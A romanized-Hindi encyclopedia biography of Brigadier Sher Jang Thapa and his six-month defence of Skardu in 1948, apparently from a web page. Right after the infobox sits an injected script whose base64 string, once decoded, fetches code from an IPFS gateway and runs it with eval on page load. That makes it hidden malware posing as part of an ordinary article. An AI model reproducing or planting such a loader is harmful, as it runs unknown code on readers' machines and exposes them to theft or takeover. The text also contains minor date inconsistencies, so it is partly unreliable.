शेर जंग थापा
sher jang thapa
| |
| poora nam | brigediyar sher jang thapa |
| janm | 15 aprail, 1907 |
| janm bhoomi | zila ebatabad, avibhajit bharat (ab khaibar pakhtoonakhva, pakistan) |
| mrityu | agast, 1999 |
| sthan | dilli, bharat |
| sena | bharatiy sena |
| bataliyan | 6 jammoo aur kashmir inphaintri |
| raiank | brigediyar |
| seva kal | 1930–1960 |
| samman | mahavir chakr, 1948 |
| nagarikata | bharatiy |
| vishesh yogadan | sher jang thapa ne 11 pharavari, 1948 se 14 agast, 1948 tak lagabhag 6 mahine 3 din tak pakistani sena ko skardoo mean roke rakha, jis karan pakistan laddakh mean kabja jamane mean asaphal raha. |
| seva sankhya | eses-15920 (sh aaurt sarvis kamishan) aeesi-10631 (niyamit kamishan) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>brigediyar sher jang thapa (aangrezi: Sher Jung Thapa, janm- 15 aprail, 1907; mrityu- agast, 1999) bharatiy sena adhikari the. ve 'skardoo ke nayak' ke roop mean sammanit the. san 1948 mean unhean mahavir chakr (emavisi) se sammanit kiya gaya tha jo bharatiy sena ka doosara sarvochch virata puraskar hai. 1947 mean bharat vibhajan ke bad pakistan b di sankhya mean mujahidoan ko prashikshan dekar bharat mean hamala karane ke lie taiyar kar raha tha. prashikshan dene ke bad pakistan ne unhian hathiyaraband mujahidoan ko laddakh par kabja karane ki niyat se bheja tha. in kabailiyoan ke sath pakistani sena bhi shamil thi; lekin pakistan apane is napak mansoobe mean kamayab nahian ho saka. brigediyar sher jang thapa ne 11 pharavari, 1948 se 14 agast, 1948 tak lagabhag 6 mahine 3 din tak pakistani sena ko skardoo mean rok rakha tha. jisake karan pakistan laddakh mean kabja jamane mean asaphal raha aur laddakh aj bharatiy kshetr mean hai.
itihas
11 pharavari, 1948 ke din pakistan ki 600 sainikoan vali sena ne skardoo shahar par hamala bol diya. us vakt karnal sher jang thapa skardoo ki raksha ke lie apane 50 javanoan ke sath vahaan par tainat the. sanyog achchha tha ki pakistan dvara hamala karane ke ek din pahale 10 janavari ko kaiptan prabhat sianh ke netritv mean 90 javanoan ki tuk di skardoo pahuanch chuki thi. pakistan dvara hamala karane ke bad sher jang thapa ne 130 javanoan ke sath 6 ghante lanbi l daee l dakar pakistani sainikoan ko pichhe jane par majaboor kar diya tha.[1]
skardoo mean tainat bharatiy sena ko pakistan sainikoan ka mukabala karane ke sath hi vahaan ki muslim abadi ka bhi mukabala karana p d raha tha, kyoanki skardoo ki muslim abadi pakistani sainikoan ke sath mil gee thi aur unaka sahayog kar rahi thi. pakistan dvara hamala kiye abhi do hi din hue the ki 13 pharavari ko kaiptan ajit sianh ke netritv mean 70 sainikoan ki toli aur 15 pharavari ko bhi lagabhag itane hi bharatiy sainikoan ki toli skardoo pahuanch gayi thi. sainikoan ke pahuanchane se sher jang thapa ko tho di rahat to jaroor mili thi, lekin unhean yah bhi jnat tha ki l daee abhi lanbi hai. isilie unhoanne shrinagar ki sainy chhavani se atirikt sena bhejane ka agrah kiya. skardoo ki raksha ke lie choti pvaiant 8853 par bharatiy sena ki tainati jaroori thi, lekin karnal sher jang thapa ke sath matr 285 sainik hone ke karan yah sanbhav nahian ho pa raha tha.
isalie karnal sher jang thapa ne choti pvaiant 8853 par bharatiy sainikoan ki tainat ke lie shrinagar sainy chhavani se lagatar kee bar agrah kiya. lekin kisi karan yah sanbhav nahian ho paya tha. jisake bad karnal sher jang ne skardoo ke sthaniy gair muslim yuvakoan ko ikaththa kiya, jisase age chaukiyoan tak rashan aur any saman pahuanchaye ja sake. kuchh dinoan ke bad pakistani sainikoan ne dobara hamala bol diya aur choti pvaiant 8853 par apana kabja kar liya. kabje ke bad pakistan sainikoan ne bharatiy sena ki chaukiyoan ko nishana banakar golabari shuroo kar di thi. pakistan sainikoan ki sankhya lagatar badha raha tha, jisase vah skardoo chhavani ki gherabandi kar sake. poore march mahine bharatiy sena ne pakistani sainikoan ka datakar mukabala kiya tha aur unhean age nahian badhane diya tha.
16 pharavari, 1948 ko apani bataliyan ke sath nikale karnal prithvichand bhari barphabari ke karan 1 march, 1948 ko karagil pahuanche the. jahaan unaki mulakat karnal sher jang thapa ki bataliyan se huee. vahaan unhean janakari mili ki pakistani sena ne skardoo par apana kabja jama liya hai, yah soochana milane ke bad karnal prithvichand bina der kiye leh a gaye. jahaan par unhoanne sthaniy nagarikoan se mulakat ki aur tiranga phaharaya. us vakt unhoanne leh ke sthaniy nagarikoan ko sanbodhit karate huye kaha tha ki 'mujhe yahaan laddakh ki raksha ke lie bheja gaya hai. unhoanne sthaniy nagarikoan se kaha tha ki ham apako prashikshan deange, jisase laddakh ki raksha aur majabooti se ki ja sakean.' prithvichand ne vahaan par sabase pahale ianjiniyar sonam norabu ke sahayog se ek havaee patti banavaee taki bharatiy sena ke aur sainik leh pahuanch sakean. jisake bad leh mean 22 mee ke din vayu sena ka dakota viman janaran thimaiya aur eyar kamaandar mehar sianh ko lekar pahuancha tha. jisake bad leh aur karagil mean sthiti lagabhag bharatiy sena ke niyantran mean thi.[1]
skardoo mean bite 6 mahine se pakistani sainikoan se l d rahe bharatiy sainikoan ke pas ab rashan lagabhag khatm ho chuka tha, unake lie ek samay ka bhojan karana bhi mushkil ho chuka tha. sath hi har ek raiphalamain ke pas sirph lagabhag 10 karatoos hi bache the. bina goli aur rashan ke unake lie l dana bahut chunautipoorn tha. karnal sher jang thapa lagatar shrinagar se madad ki maang kar the, lekin rasta band hone ke karan madad pahuanchana sanbhav nahian ho pa raha tha. agale din shrinagar divijan ke karnal ram ober aauy ne atmasamarpan karane ka adesh de diya tha. 14 agast, 1948 ko adesh ke bad karnal thapa, 4 adhikari, 1 jesio aur 35 any raiank ke sainikoan ne dushmanoan ke samane atmasamarpan kar diya.
mejar janaral ke.es. thimayya ne us vakt ka varnan karate hue bad mean kaha tha ki 'meri rananiti laddakh ko bachane ki thi, har kimat par skardoo par bharatiy sena ki pak d banaye rakhani thi, taki pakistani sainik karagil aur leh tak na pahuanch sakean. saubhagy se is mishan ko poora karane ke lie skardoo mean sahi adami lephtineant karnal sher jang thapa tha. koee bhi shabd lephtineant karnal sher jang thapa ki virata aur netritv ka varnan nahian kar sakata hai, jinhoanne chhah mahinoan tak mushkil se 250 purushoan ke sath skardoo par kabja jamaya hua tha. maianne sainikoan tak adhik rashan aur gola barood chho dane pahuanchane ki koshish ki thi, lekin aphasos ki vah rashan pahuanch nahian paya aur sab kuchh dushmanoan ke hath lag gaya. chhah mahine ke aant mean jab poori tarah se rashan aur gola-barood khatm ho gaya tha, tab maianne javanoan atmasamarpan karane ke lie kaha. kyoanki mujhe pata tha ki rashan aur gola-barood ke bina nahian raha nahian ja sakata. mujhe ye bhi pata tha mere sainik atmasamarpan karane ke bad hi jianda vapas hamare pas a sakate haian'.
sher jang thapa ka sakshatkar
kee saloan ke bad ek iantaravyoo mean brigediyar sher jang thapa ne us vakt ke pichhale 24 ghantoan ke drishy ka varnan karate huye bataya tha ki 'hamane apane akhiri bache gola barood ka istemal kar liya tha. har koee hamari sthiti ko janata tha aur charoan taraph sirph dahashat aur arajakata thi. mahilaoan ne siandhu nadi mean koodakar atmahatya karana shuroo kar diya aur kee mahilaoan ne apane samman ko bachane ke lie jahar kha liya tha. ek udaharan tha jab ek l daki ne khud ko marane ke lie siandhu mean tin bar chhalaang lagaee, lekin har bar laharean use kinare tak pahuancha detian. mere sainikoan ne bahut hi mushkiloan ke sath l daee l di thi aur 6 mahine 3 dinoan tak skardoo par kabja jama kar rakha tha. phir akhiri mean adesh ke mutabik atmasamarpan karane ke alava koee vikalp nahian bacha tha. atmasamarpan ke sabhi sikkhoan ki goli marakar hatya kar di gee. ekamatr sikkh jo bach gaya, vah tha kalyan sianh, jo meri dal mean tha jo mere sath rah raha tha'.[1]
samman
pakistan sena ke kamaandar-in-chiph janaral sar dagalas gres the. unhoanne dharmashala mean yuva sher jang thapa ke sath h aauki khela tha aur unhoanne hi sena mean shamil hone ke lie unhean salah di thi. unake vyavahar ke karan hi sher jang thapa ko kisi ne nahian mara tha. yuddh ke kuchh haphtoan ke bad sher jang thapa aur baki bache sainik bharat vapas aye the. sher jang thapa ko unaki virata ke lie 'mahavir chakr' se sammanit kiya gaya.
mrityu
sher jang thapa brigediyar ke pad tak pahuanche aur 1961 mean sevanivritt ho gaye. unaka agast 1999 mean 92 varsh ki ayu mean unaka nidhan ho gaya.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 janie laddakh-skardoo yuddh ki kahani (hiandi) jammukashmirnow.com. abhigaman tithi: 27 agast, 2021.
sanbandhit lekh
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